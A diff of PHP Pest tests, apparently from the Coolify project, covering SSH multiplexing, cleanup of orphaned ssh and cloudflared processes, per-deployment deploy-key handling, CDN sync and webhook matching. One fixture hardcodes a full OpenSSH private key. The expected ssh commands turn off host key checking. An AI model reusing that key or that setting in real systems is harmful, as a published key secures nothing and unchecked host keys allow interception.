expect($component->showWhatsNewModal)->toBeTrue();
$component->closeWhatsNewModal();
expect($component->showWhatsNewModal)->toBeFalse();
});
it('uses the default button palette for the changelog fetch action in light mode', function () {
$dropdownView = file_get_contents(resource_path('views/livewire/settings-dropdown.blade.php'));
expect($dropdownView)
->toContain('wire:click="manualFetchChangelog"')
->not->toContain('bg-coolgray-200 hover:bg-coolgray-300');
});
+263 -58
View File
@@ -1,17 +1,19 @@
<?php
use App\Helpers\SshMultiplexingHelper;
use App\Jobs\CleanupStaleMultiplexedConnections;
use App\Models\PrivateKey;
use App\Models\Server;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\File;
use Illuminate\Support\Facades\Process;
use Illuminate\Support\Facades\Storage;
/**
* SSH multiplexing now relies on OpenSSH's native lazy ControlMaster handling.
* Coolify should add mux options to real ssh/scp commands, but must not pre-warm
* background masters with separate `ssh -fN` processes.
* Tests for the explicit per-server mux lock that prevents concurrent workers
* from racing on initial ControlMaster creation.
*/
uses(RefreshDatabase::class);
@@ -20,12 +22,18 @@ function makeMuxServer(): Server
$user = User::factory()->create();
$team = $user->teams()->first();
$privateKeyContent = "-----BEGIN OPENSSH PRIVATE KEY-----\n".
"b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW\n".
"QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk\n".
"hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA\n".
"AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV\n".
"uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==\n".
$privateKeyContent = '-----BEGIN OPENSSH PRIVATE KEY-----
'.
'b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
'.
'QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
'.
'hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
'.
'AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
'.
'uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
'.
'-----END OPENSSH PRIVATE KEY-----';
$privateKey = PrivateKey::create([
@@ -37,74 +45,92 @@ function makeMuxServer(): Server
Storage::fake('ssh-keys');
Storage::disk('ssh-keys')->put("ssh_key@{$privateKey->uuid}", $privateKeyContent);
return Server::factory()->create([
$server = Server::factory()->create([
'team_id' => $team->id,
'private_key_id' => $privateKey->id,
]);
Storage::disk('ssh-keys')->put("ssh_key@{$server->privateKey->uuid}", $server->privateKey->private_key);
return $server;
}
it('does not prewarm a background ssh master', function () {
it('establishes a master with ssh -fN and never the orphan-prone ssh -fNM', function () {
config(['constants.ssh.mux_enabled' => true]);
$server = makeMuxServer();
Process::fake();
Process::fake([
'*-O check*' => Process::result(exitCode: 1),
'*-fN *' => Process::result(exitCode: 0),
]);
expect(SshMultiplexingHelper::ensureMultiplexedConnection($server))->toBeTrue();
Process::assertNothingRan();
Process::assertRan(fn ($process) => str_contains($process->command, 'ssh -fN ')
&& ! str_contains($process->command, 'ssh -fNM'));
});
it('adds native openssh multiplexing options to ssh commands', function () {
config(['constants.ssh.mux_enabled' => true]);
$server = makeMuxServer();
Storage::disk('ssh-keys')->put("ssh_key@{$server->privateKey->uuid}", $server->privateKey->private_key);
Process::fake();
$command = SshMultiplexingHelper::generateSshCommand($server, 'echo ok');
expect($command)
->toContain('-o ControlMaster=auto')
->toContain("-o ControlPath=/var/www/html/storage/app/ssh/mux/mux_{$server->uuid}")
->toContain('-o ControlPersist=3600')
->not->toContain('-O check')
->not->toContain('ssh -fN');
Process::assertNothingRan();
});
it('omits native multiplexing options when ssh multiplexing is disabled for a command', function () {
config(['constants.ssh.mux_enabled' => true]);
$server = makeMuxServer();
Storage::disk('ssh-keys')->put("ssh_key@{$server->privateKey->uuid}", $server->privateKey->private_key);
$command = SshMultiplexingHelper::generateSshCommand($server, 'echo ok', disableMultiplexing: true);
expect($command)
->not->toContain('-o ControlMaster=auto')
->not->toContain('-o ControlPath=')
->not->toContain('-o ControlPersist=');
});
it('adds native openssh multiplexing options to scp commands', function () {
config(['constants.ssh.mux_enabled' => true]);
it('reuses an existing healthy master without spawning a new one', function () {
config([
'constants.ssh.mux_enabled' => true,
'constants.ssh.mux_health_check_enabled' => true,
]);
$server = makeMuxServer();
Process::fake();
Process::fake([
'*-O check*' => Process::result(exitCode: 0),
'*health_check_ok*' => Process::result(output: 'health_check_ok', exitCode: 0),
]);
$command = SshMultiplexingHelper::generateScpCommand($server, '/tmp/source', '/tmp/dest');
expect(SshMultiplexingHelper::ensureMultiplexedConnection($server))->toBeTrue();
expect($command)
->toContain('-o ControlMaster=auto')
->toContain("-o ControlPath=/var/www/html/storage/app/ssh/mux/mux_{$server->uuid}")
->toContain('-o ControlPersist=3600')
->not->toContain('-O check')
->not->toContain('ssh -fN');
Process::assertNothingRan();
Process::assertNotRan(fn ($process) => str_contains($process->command, 'ssh -fN'));
});
it('returns false and runs no process when multiplexing is globally disabled', function () {
it('refreshes an expired master before reuse', function () {
config([
'constants.ssh.mux_enabled' => true,
'constants.ssh.mux_health_check_enabled' => false,
'constants.ssh.mux_max_age' => 10,
]);
$server = makeMuxServer();
Cache::put("ssh_mux_connection_time_{$server->uuid}", time() - 30, 3600);
Process::fake([
'*-O check*' => Process::result(exitCode: 0),
'*-O exit*' => Process::result(exitCode: 0),
'*-fN *' => Process::result(exitCode: 0),
]);
expect(SshMultiplexingHelper::ensureMultiplexedConnection($server))->toBeTrue();
Process::assertRan(fn ($process) => str_contains($process->command, 'ssh -O exit'));
Process::assertRan(fn ($process) => str_contains($process->command, 'ssh -fN '));
});
it('does not spawn a master when the per-server lock is already held', function () {
config([
'constants.ssh.mux_enabled' => true,
'constants.ssh.mux_lock_timeout' => 0,
]);
$server = makeMuxServer();
Process::fake([
'*-O check*' => Process::result(exitCode: 1),
]);
$lockKey = 'ssh_mux_lock_'.(gethostname() ?: 'unknown').'_'.$server->uuid;
$held = Cache::lock($lockKey, 30);
expect($held->get())->toBeTrue();
expect(SshMultiplexingHelper::ensureMultiplexedConnection($server))->toBeFalse();
Process::assertNotRan(fn ($process) => str_contains($process->command, 'ssh -fN '));
$held->release();
});
it('returns false and runs no ssh when multiplexing is disabled', function () {
config(['constants.ssh.mux_enabled' => false]);
$server = makeMuxServer();
@@ -114,3 +140,182 @@ it('returns false and runs no process when multiplexing is globally disabled', f
Process::assertNothingRan();
});
it('adds mux options to ssh commands only after the explicit master is ready', function () {
config(['constants.ssh.mux_enabled' => true]);
$server = makeMuxServer();
Process::fake([
'*-O check*' => Process::result(exitCode: 1),
'*-fN *' => Process::result(exitCode: 0),
]);
$command = SshMultiplexingHelper::generateSshCommand($server, 'echo ok');
expect($command)
->toContain('-o ControlMaster=auto')
->toContain("-o ControlPath=/var/www/html/storage/app/ssh/mux/mux_{$server->uuid}")
->toContain('-o ControlPersist=3600')
->toContain("'bash -se' << \\")
->not->toContain('<< $delimiter');
Process::assertRan(fn ($process) => str_contains($process->command, 'ssh -fN '));
});
it('can generate terminal ssh commands without a hard command timeout', function () {
config(['constants.ssh.mux_enabled' => false]);
$server = makeMuxServer();
$command = SshMultiplexingHelper::generateSshCommand($server, 'echo ok', commandTimeout: 0);
expect($command)
->toStartWith('ssh ')
->not->toStartWith('timeout ')
->not->toContain('timeout 3600 ssh');
});
it('omits multiplexing options and setup when disabled for a command', function () {
config(['constants.ssh.mux_enabled' => true]);
$server = makeMuxServer();
Process::fake();
$command = SshMultiplexingHelper::generateSshCommand($server, 'echo ok', disableMultiplexing: true);
expect($command)
->not->toContain('-o ControlMaster=auto')
->not->toContain('-o ControlPath=')
->not->toContain('-o ControlPersist=');
Process::assertNothingRan();
});
it('adds mux options to scp commands only after the explicit master is ready', function () {
config(['constants.ssh.mux_enabled' => true]);
$server = makeMuxServer();
Process::fake([
'*-O check*' => Process::result(exitCode: 1),
'*-fN *' => Process::result(exitCode: 0),
]);
$command = SshMultiplexingHelper::generateScpCommand($server, '/tmp/source', '/tmp/dest');
expect($command)
->toContain('-o ControlMaster=auto')
->toContain("-o ControlPath=/var/www/html/storage/app/ssh/mux/mux_{$server->uuid}")
->toContain('-o ControlPersist=3600');
Process::assertRan(fn ($process) => str_contains($process->command, 'ssh -fN '));
});
it('kills only old orphaned ssh masters whose control socket no longer exists', function () {
config(['constants.ssh.mux_orphan_reap_enabled' => true]);
$muxDir = storage_path('app/ssh/mux');
File::ensureDirectoryExists($muxDir);
$liveSocket = $muxDir.'/mux_live_'.uniqid();
$orphanSocket = $muxDir.'/mux_orphan_'.uniqid();
$youngSocket = $muxDir.'/mux_young_'.uniqid();
File::put($liveSocket, 'x');
Process::fake([
'ps*' => Process::result(output: "111 1 5000 ssh -fN -o ControlMaster=auto -o ControlPath={$liveSocket} root@1.2.3.4
".
"222 1 5000 ssh -fN -o ControlMaster=auto -o ControlPath={$orphanSocket} root@1.2.3.4
".
"333 1 30 ssh -fN -o ControlMaster=auto -o ControlPath={$youngSocket} root@1.2.3.4
"),
'kill*' => Process::result(exitCode: 0),
]);
$job = new CleanupStaleMultiplexedConnections;
$method = new ReflectionMethod($job, 'cleanupOrphanedSshProcesses');
$method->setAccessible(true);
$method->invoke($job);
Process::assertRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '222'));
Process::assertNotRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '111'));
Process::assertNotRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '333'));
File::delete($liveSocket);
});
it('kills only old orphaned cloudflared proxies whose parent ssh is gone', function () {
config(['constants.ssh.mux_orphan_reap_enabled' => true]);
Process::fake([
'ps*' => Process::result(output: '100 1 5000 ssh -fN -o ControlMaster=auto root@1.2.3.4
'.
'200 100 5000 cloudflared access ssh --hostname host.example.com
'.
'300 2176 5000 cloudflared access ssh --hostname host.example.com
'.
'400 2176 30 cloudflared access ssh --hostname host.example.com
'.
'2176 1 9000 /usr/bin/some-supervisor
'),
'kill*' => Process::result(exitCode: 0),
]);
$job = new CleanupStaleMultiplexedConnections;
$method = new ReflectionMethod($job, 'cleanupOrphanedCloudflaredProcesses');
$method->setAccessible(true);
$method->invoke($job);
Process::assertRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '300'));
Process::assertNotRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '200'));
Process::assertNotRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '400'));
});
it('dry-run mode logs orphans but kills nothing when reaping is disabled', function () {
config(['constants.ssh.mux_orphan_reap_enabled' => false]);
$muxDir = storage_path('app/ssh/mux');
File::ensureDirectoryExists($muxDir);
$orphanSocket = $muxDir.'/mux_orphan_'.uniqid();
Process::fake([
'ps*' => Process::result(output: "222 1 5000 ssh -fN -o ControlMaster=auto -o ControlPath={$orphanSocket} root@1.2.3.4
"),
'kill*' => Process::result(exitCode: 0),
]);
$job = new CleanupStaleMultiplexedConnections;
$method = new ReflectionMethod($job, 'cleanupOrphanedSshProcesses');
$method->setAccessible(true);
$method->invoke($job);
Process::assertNotRan(fn ($process) => str_contains($process->command, 'kill'));
});
it('removes mux files for non-existent servers when reaping is enabled', function () {
config(['constants.ssh.mux_orphan_reap_enabled' => true]);
Storage::fake('ssh-mux');
$file = 'mux_ghost'.uniqid();
Storage::disk('ssh-mux')->put($file, 'x');
Process::fake();
$job = new CleanupStaleMultiplexedConnections;
$method = new ReflectionMethod($job, 'cleanupNonExistentServerConnections');
$method->setAccessible(true);
$method->invoke($job);
expect(Storage::disk('ssh-mux')->exists($file))->toBeFalse();
});
it('keeps mux files for non-existent servers in dry-run mode', function () {
config(['constants.ssh.mux_orphan_reap_enabled' => false]);
Storage::fake('ssh-mux');
$file = 'mux_ghost'.uniqid();
Storage::disk('ssh-mux')->put($file, 'x');
Process::fake();
$job = new CleanupStaleMultiplexedConnections;
$method = new ReflectionMethod($job, 'cleanupNonExistentServerConnections');
$method->setAccessible(true);
$method->invoke($job);
expect(Storage::disk('ssh-mux')->exists($file))->toBeTrue();
Process::assertNothingRan();
});
+19
View File
@@ -46,3 +46,22 @@ it('syncs nightly versions to BunnyCDN without creating a GitHub PR', function (
Http::assertSent(fn ($request) => str_starts_with($request->url(), 'https://api.bunny.net/purge')
&& $request['url'] === 'https://cdn.coollabs.io/coolify-nightly/versions.json');
});
it('syncs postgres upgrade script to BunnyCDN during full sync', function () {
Http::fake([
'https://cdn.coollabs.io/coolify/*' => Http::response('', 404),
'https://storage.bunnycdn.com/*' => Http::response([], 201),
'https://api.bunny.net/purge*' => Http::response([], 200),
]);
$this->artisan('sync:bunny')
->expectsConfirmation('Are you sure you want to sync?', 'yes')
->expectsOutputToContain('BunnyCDN sync: Complete')
->assertExitCode(0);
Http::assertSent(fn ($request) => $request->method() === 'PUT'
&& $request->url() === 'https://storage.bunnycdn.com/coolcdn/coolify/upgrade-postgres.sh');
Http::assertSent(fn ($request) => str_starts_with($request->url(), 'https://api.bunny.net/purge')
&& $request['url'] === 'https://cdn.coollabs.io/coolify/upgrade-postgres.sh');
});
@@ -1,5 +1,6 @@
<?php
use App\Livewire\Destination\Resources as DestinationResources;
use App\Livewire\Destination\Show as DestinationShow;
use App\Livewire\Project\New\DockerCompose;
use App\Livewire\Project\New\DockerImage;
@@ -294,4 +295,80 @@ describe('Destination/Show team scope', function () {
expect($component->get('destination'))->toBeNull();
$component->assertRedirect(route('destination.index'));
});
test('general page links to separate resources page without rendering the resources table', function () {
Livewire::test(DestinationShow::class, ['destination_uuid' => $this->destinationA->uuid])
->assertSee('General')
->assertSee('Resources')
->assertDontSee('Search resources...')
->assertDontSee('No resources are using this destination.');
});
test('mount with own standalone destination lists deployed resources', function () {
Application::factory()->create([
'name' => 'application-on-destination',
'environment_id' => $this->environmentA->id,
'destination_id' => $this->destinationA->id,
'destination_type' => StandaloneDocker::class,
]);
Service::factory()->create([
'name' => 'service-on-destination',
'environment_id' => $this->environmentA->id,
'destination_id' => $this->destinationA->id,
'destination_type' => StandaloneDocker::class,
]);
StandalonePostgresql::withoutEvents(fn () => StandalonePostgresql::create([
'uuid' => fake()->uuid(),
'name' => 'database-on-destination',
'postgres_password' => 'password',
'environment_id' => $this->environmentA->id,
'destination_id' => $this->destinationA->id,
'destination_type' => StandaloneDocker::class,
]));
Livewire::test(DestinationResources::class, ['destination_uuid' => $this->destinationA->uuid])
->assertSee('Search resources...')
->assertSee('Project')
->assertSee('Environment')
->assertSee('Name')
->assertSee('Type')
->assertSee('application-on-destination')
->assertSee('service-on-destination')
->assertSee('database-on-destination')
->assertSee($this->projectA->name)
->assertSee($this->environmentA->name);
});
test('mount with own standalone destination shows empty state without resources', function () {
Livewire::test(DestinationResources::class, ['destination_uuid' => $this->destinationA->uuid])
->assertSee('No resources are using this destination.');
});
test('mount with own standalone destination does not list another team resources', function () {
Application::factory()->create([
'name' => 'other-team-application',
'environment_id' => $this->environmentB->id,
'destination_id' => $this->destinationB->id,
'destination_type' => StandaloneDocker::class,
]);
Livewire::test(DestinationResources::class, ['destination_uuid' => $this->destinationA->uuid])
->assertDontSee('other-team-application');
});
test('resource without project renders as non-clickable row', function () {
StandalonePostgresql::withoutEvents(fn () => StandalonePostgresql::create([
'uuid' => fake()->uuid(),
'name' => 'database-without-project',
'postgres_password' => 'password',
'environment_id' => null,
'destination_id' => $this->destinationA->id,
'destination_type' => StandaloneDocker::class,
]));
$component = Livewire::test(DestinationResources::class, ['destination_uuid' => $this->destinationA->uuid])
->assertSee('database-without-project');
expect($component->html())->not->toContain('href=""');
});
});
+4 -4
View File
@@ -17,7 +17,7 @@ it('initializes latest version during mount from cached versions data', function
Cache::shouldReceive('remember')
->once()
->with('coolify:versions:all', 3600, Mockery::type(\Closure::class))
->with('coolify:versions:all', 3600, Mockery::type(Closure::class))
->andReturn([
'coolify' => [
'v4' => [
@@ -42,7 +42,7 @@ it('falls back to 0.0.0 during mount when cached versions data is unavailable',
Cache::shouldReceive('remember')
->once()
->with('coolify:versions:all', 3600, Mockery::type(\Closure::class))
->with('coolify:versions:all', 3600, Mockery::type(Closure::class))
->andReturn(null);
Livewire::test(Upgrade::class)
@@ -58,7 +58,7 @@ it('clears stale upgrade availability when current version already matches lates
Cache::shouldReceive('remember')
->once()
->with('coolify:versions:all', 3600, Mockery::type(\Closure::class))
->with('coolify:versions:all', 3600, Mockery::type(Closure::class))
->andReturn([
'coolify' => [
'v4' => [
@@ -83,7 +83,7 @@ it('clears stale upgrade availability when current version is newer than cached
Cache::shouldReceive('remember')
->once()
->with('coolify:versions:all', 3600, Mockery::type(\Closure::class))
->with('coolify:versions:all', 3600, Mockery::type(Closure::class))
->andReturn([
'coolify' => [
'v4' => [
+42
View File
@@ -509,6 +509,48 @@ describe('Manual Webhook Repository Matching', function () {
expect($response->getContent())->not->toContain('No applications found');
});
test('gitlab matches scp-style ssh repository URL with custom port', function () {
$app = createApplicationWithWebhook(overrides: [
'git_repository' => 'git@gitlab.example.com:2222/services/xyz.git',
'git_branch' => 'master',
]);
$secret = $app->manual_webhook_secret_gitlab;
$response = $this->postJson('/webhooks/source/gitlab/events/manual', [
'object_kind' => 'push',
'ref' => 'refs/heads/master',
'project' => ['path_with_namespace' => 'services/xyz'],
'after' => 'abc123',
'commits' => [],
], [
'X-Gitlab-Token' => $secret,
]);
$response->assertOk();
expect($response->getContent())->not->toContain('No applications found');
});
test('gitlab matches scp-style ssh repository URL without port', function () {
$app = createApplicationWithWebhook(overrides: [
'git_repository' => 'git@gitlab.example.com:services/xyz.git',
'git_branch' => 'master',
]);
$secret = $app->manual_webhook_secret_gitlab;
$response = $this->postJson('/webhooks/source/gitlab/events/manual', [
'object_kind' => 'push',
'ref' => 'refs/heads/master',
'project' => ['path_with_namespace' => 'services/xyz'],
'after' => 'abc123',
'commits' => [],
], [
'X-Gitlab-Token' => $secret,
]);
$response->assertOk();
expect($response->getContent())->not->toContain('No applications found');
});
test('github matches repository case-insensitively', function () {
$app = createApplicationWithWebhook(overrides: [
'git_repository' => 'https://github.com/Test-Org/Test-Repo.git',
@@ -447,6 +447,15 @@ it('container prune excludes persistent resource types', function () {
expect($sourceFile)->toContain('label=coolify.managed=true');
});
it('uses persisted buildx metadata when pruning the railpack builder', function () {
$sourceFile = file_get_contents(__DIR__.'/../../../../app/Actions/Server/CleanupDocker.php');
expect($sourceFile)
->toContain('docker run --rm -v \\$HOME/.docker/buildx:/root/.docker/buildx')
->toContain('docker buildx prune --builder coolify-railpack -af')
->not->toContain('--buildkitd-flags');
});
it('preserves build image for currently running tag', function () {
$images = collect([
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
@@ -0,0 +1,11 @@
<?php
it('persists buildx metadata between the helper container and host cleanup', function () {
$sourceFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php');
expect($sourceFile)
->toContain('mkdir -p {$this->serverUserHomeDir}/.docker/buildx')
->toContain('-v {$this->serverUserHomeDir}/.docker/buildx:/root/.docker/buildx');
expect(substr_count($sourceFile, '{$buildxMetadataVolume} -v /var/run/docker.sock:/var/run/docker.sock'))->toBe(3);
});
+189
View File
@@ -0,0 +1,189 @@
<?php
use App\Models\Application;
use App\Models\ApplicationSetting;
use App\Models\GitlabApp;
use App\Models\PrivateKey;
afterEach(function () {
Mockery::close();
});
/**
* Git operations authenticate with the SSH key assigned in the UI. Coolify writes that key to a
* per-deployment path (/root/.ssh/id_rsa_coolify_<deployment_uuid>) instead of the shared
* /root/.ssh/id_rsa, so it can neither overwrite the server root's own key nor race with other
* concurrent operations on the same host. `-o IdentitiesOnly=yes` makes ssh offer only that key.
* On the host path an EXIT trap removes the key when the shell finishes; the docker path runs in an
* ephemeral container, so it needs no cleanup.
*/
$keyPath = '/root/.ssh/id_rsa_coolify_test-deployment-uuid';
it('writes a deploy key to a per-deployment path and cleans it up for ls-remote on the host', function () use ($keyPath) {
$privateKey = Mockery::mock(PrivateKey::class)->makePartial();
$privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');
$application = Mockery::mock(Application::class)->makePartial();
$application->git_branch = 'main';
$application->shouldReceive('deploymentType')->andReturn('deploy_key');
$application->shouldReceive('customRepository')->andReturn(['repository' => 'git@gitlab.com:user/repo.git', 'port' => 22]);
$application->shouldReceive('getAttribute')->with('private_key')->andReturn($privateKey);
$result = $application->generateGitLsRemoteCommands('test-deployment-uuid', false);
expect($result['commands'])
->toContain("tee {$keyPath}")
->toContain("-i {$keyPath} -o IdentitiesOnly=yes")
->toContain("trap 'rm -f {$keyPath}' EXIT") // removed when the shell exits
->not->toContain('tee /root/.ssh/id_rsa >'); // never overwrites the host root's own key
});
it('writes a deploy key to a per-deployment path for ls-remote inside docker without a trap', function () use ($keyPath) {
$privateKey = Mockery::mock(PrivateKey::class)->makePartial();
$privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');
$application = Mockery::mock(Application::class)->makePartial();
$application->git_branch = 'main';
$application->shouldReceive('deploymentType')->andReturn('deploy_key');
$application->shouldReceive('customRepository')->andReturn(['repository' => 'git@gitlab.com:user/repo.git', 'port' => 22]);
$application->shouldReceive('getAttribute')->with('private_key')->andReturn($privateKey);
$result = $application->generateGitLsRemoteCommands('test-deployment-uuid', true);
expect($result['commands'])
->toContain("tee {$keyPath}")
->toContain("-i {$keyPath} -o IdentitiesOnly=yes")
->not->toContain('trap ') // ephemeral container, no cleanup needed
->not->toContain('tee /root/.ssh/id_rsa >');
});
it('writes a GitLab source private key to a per-deployment path with cleanup on the host', function () use ($keyPath) {
$privateKey = Mockery::mock(PrivateKey::class)->makePartial();
$privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');
$gitlabSource = Mockery::mock(GitlabApp::class)->makePartial();
$gitlabSource->shouldReceive('getMorphClass')->andReturn(GitlabApp::class);
$gitlabSource->shouldReceive('getAttribute')->with('html_url')->andReturn('https://gitlab.com');
$gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn($privateKey);
$gitlabSource->shouldReceive('getAttribute')->with('private_key_id')->andReturn(1);
$gitlabSource->shouldReceive('getAttribute')->with('custom_port')->andReturn(22);
$application = Mockery::mock(Application::class)->makePartial();
$application->git_branch = 'main';
$application->shouldReceive('deploymentType')->andReturn('source');
$application->shouldReceive('customRepository')->andReturn(['repository' => 'git@gitlab.com:user/repo.git', 'port' => 22]);
$application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource);
$application->source = $gitlabSource;
$result = $application->generateGitLsRemoteCommands('test-deployment-uuid', false);
expect($result['commands'])
->toContain("tee {$keyPath}")
->toContain("-i {$keyPath} -o IdentitiesOnly=yes")
->toContain("trap 'rm -f {$keyPath}' EXIT")
->not->toContain('tee /root/.ssh/id_rsa >');
});
it('writes a deploy key to a per-deployment path and cleans it up when cloning on the host', function () use ($keyPath) {
$privateKey = Mockery::mock(PrivateKey::class)->makePartial();
$privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');
$settings = Mockery::mock(ApplicationSetting::class)->makePartial();
$settings->shouldReceive('getAttribute')->with('is_git_shallow_clone_enabled')->andReturn(false);
$settings->shouldReceive('getAttribute')->with('is_git_submodules_enabled')->andReturn(false);
$settings->shouldReceive('getAttribute')->with('is_git_lfs_enabled')->andReturn(false);
$application = Mockery::mock(Application::class)->makePartial();
$application->git_branch = 'main';
$application->shouldReceive('deploymentType')->andReturn('deploy_key');
$application->shouldReceive('customRepository')->andReturn(['repository' => 'git@gitlab.com:user/repo.git', 'port' => 22]);
$application->shouldReceive('getAttribute')->with('private_key')->andReturn($privateKey);
$application->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
$application->shouldReceive('getAttribute')->with('git_commit_sha')->andReturn('HEAD');
// exec_in_docker = false → the loadComposeFile / host clone path
$result = $application->generateGitImportCommands('test-deployment-uuid', 0, null, false);
expect($result['commands'])
->toContain("tee {$keyPath}")
->toContain("-i {$keyPath} -o IdentitiesOnly=yes")
->toContain("trap 'rm -f {$keyPath}' EXIT")
->not->toContain('tee /root/.ssh/id_rsa >');
});
it('writes a GitLab source private key to a per-deployment path and cleans it up when cloning on the host', function () use ($keyPath) {
$privateKey = Mockery::mock(PrivateKey::class)->makePartial();
$privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');
$gitlabSource = Mockery::mock(GitlabApp::class)->makePartial();
$gitlabSource->shouldReceive('getMorphClass')->andReturn(GitlabApp::class);
$gitlabSource->shouldReceive('getAttribute')->with('html_url')->andReturn('https://gitlab.com');
$gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn($privateKey);
$gitlabSource->shouldReceive('getAttribute')->with('custom_port')->andReturn(22);
$settings = Mockery::mock(ApplicationSetting::class)->makePartial();
$settings->shouldReceive('getAttribute')->with('is_git_shallow_clone_enabled')->andReturn(false);
$settings->shouldReceive('getAttribute')->with('is_git_submodules_enabled')->andReturn(false);
$settings->shouldReceive('getAttribute')->with('is_git_lfs_enabled')->andReturn(false);
$application = Mockery::mock(Application::class)->makePartial();
$application->git_branch = 'main';
$application->source = $gitlabSource;
$application->shouldReceive('deploymentType')->andReturn('source');
$application->shouldReceive('customRepository')->andReturn(['repository' => 'git@gitlab.com:user/repo.git', 'port' => 22]);
$application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource);
$application->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
$application->shouldReceive('getAttribute')->with('git_commit_sha')->andReturn('HEAD');
$result = $application->generateGitImportCommands('test-deployment-uuid', 0, null, false);
expect($result['commands'])
->toContain("tee {$keyPath}")
->toContain("-i {$keyPath} -o IdentitiesOnly=yes")
->toContain("trap 'rm -f {$keyPath}' EXIT")
->not->toContain('tee /root/.ssh/id_rsa >');
});
it('uses the per-deployment deploy key for pull request fetches', function () use ($keyPath) {
$privateKey = Mockery::mock(PrivateKey::class)->makePartial();
$privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');
$settings = Mockery::mock(ApplicationSetting::class)->makePartial();
$settings->shouldReceive('getAttribute')->with('is_git_shallow_clone_enabled')->andReturn(false);
$settings->shouldReceive('getAttribute')->with('is_git_submodules_enabled')->andReturn(false);
$settings->shouldReceive('getAttribute')->with('is_git_lfs_enabled')->andReturn(false);
$application = Mockery::mock(Application::class)->makePartial();
$application->git_branch = 'main';
$application->shouldReceive('deploymentType')->andReturn('deploy_key');
$application->shouldReceive('customRepository')->andReturn(['repository' => 'git@github.com:user/repo.git', 'port' => 22]);
$application->shouldReceive('getAttribute')->with('private_key')->andReturn($privateKey);
$application->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
$application->shouldReceive('getAttribute')->with('git_commit_sha')->andReturn('HEAD');
$result = $application->generateGitImportCommands('test-deployment-uuid', 123, 'github', false);
expect($result['commands'])
->toContain("GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i {$keyPath} -o IdentitiesOnly=yes\" git fetch origin pull/123/head:pr-123-coolify")
->not->toContain('GIT_SSH_COMMAND="ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa" git fetch origin pull/123/head:pr-123-coolify');
});
it('does not force a missing per-deployment key for other repository pull request fetches', function () use ($keyPath) {
$settings = Mockery::mock(ApplicationSetting::class)->makePartial();
$settings->shouldReceive('getAttribute')->with('is_git_shallow_clone_enabled')->andReturn(false);
$settings->shouldReceive('getAttribute')->with('is_git_submodules_enabled')->andReturn(false);
$settings->shouldReceive('getAttribute')->with('is_git_lfs_enabled')->andReturn(false);
$application = Mockery::mock(Application::class)->makePartial();
$application->git_branch = 'main';
$application->shouldReceive('deploymentType')->andReturn('other');
$application->shouldReceive('customRepository')->andReturn(['repository' => 'git@github.com:user/repo.git', 'port' => 22]);
$application->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
$application->shouldReceive('getAttribute')->with('git_commit_sha')->andReturn('HEAD');
$result = $application->generateGitImportCommands('test-deployment-uuid', 123, 'github', false);
expect($result['commands'])
->toContain('GIT_SSH_COMMAND="ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa" git fetch origin pull/123/head:pr-123-coolify')
->not->toContain($keyPath);
});
@@ -74,3 +74,60 @@ it('falls back to latest when neither preview nor application tags are set', fun
expect($method->invoke($job))->toBe('latest');
});
function makeDockerRegistryTagPushJob(int $pullRequestId, ?string $dockerRegistryImageTag): object
{
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = $reflection->newInstanceWithoutConstructor();
$pullRequestProperty = $reflection->getProperty('pull_request_id');
$pullRequestProperty->setAccessible(true);
$pullRequestProperty->setValue($job, $pullRequestId);
$applicationProperty = $reflection->getProperty('application');
